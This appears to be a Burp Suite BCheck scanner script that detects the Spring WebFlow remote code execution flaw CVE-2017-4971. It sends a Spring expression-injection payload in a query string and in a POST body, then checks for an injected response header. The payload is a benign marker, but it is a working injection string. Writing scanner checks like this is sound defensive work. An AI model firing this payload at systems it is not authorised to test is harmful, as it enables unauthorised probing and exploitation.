CVE-2017-4971-spring_webflow_rce.bcheck

metadata:
    language: v1-beta
    name: "CVE-2017-4971 Spring WebFlow RCE"
    description: "Spring WebFlow RCE CVE-2017-4971"
    author: "timeshatter"
    tags: "Spring WebFlow","CVE-2017-497"

define:
    payload="&_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader(\"vuln\",\"True\").aaa=aaa"
    answer="vuln: True"

given request then
    send request called check1:
        method:"GET"
        appending queries:{payload}

    if {answer} in {check1.response} then
        report issue:
            severity: high
            confidence: certain
            detail: "find Spring WebFlow RCE CVE-2017-4971"
            remediation: "update Spring WebFlow to last."
    end if

    send request called check2:
        method:"POST"
        appending body:{payload}
    
    if {answer} in {check2.response} then
        report issue:
            severity: high
            confidence: certain
            detail: "find Spring WebFlow RCE CVE-2017-4971"
            remediation: "update Spring WebFlow to last."
    end if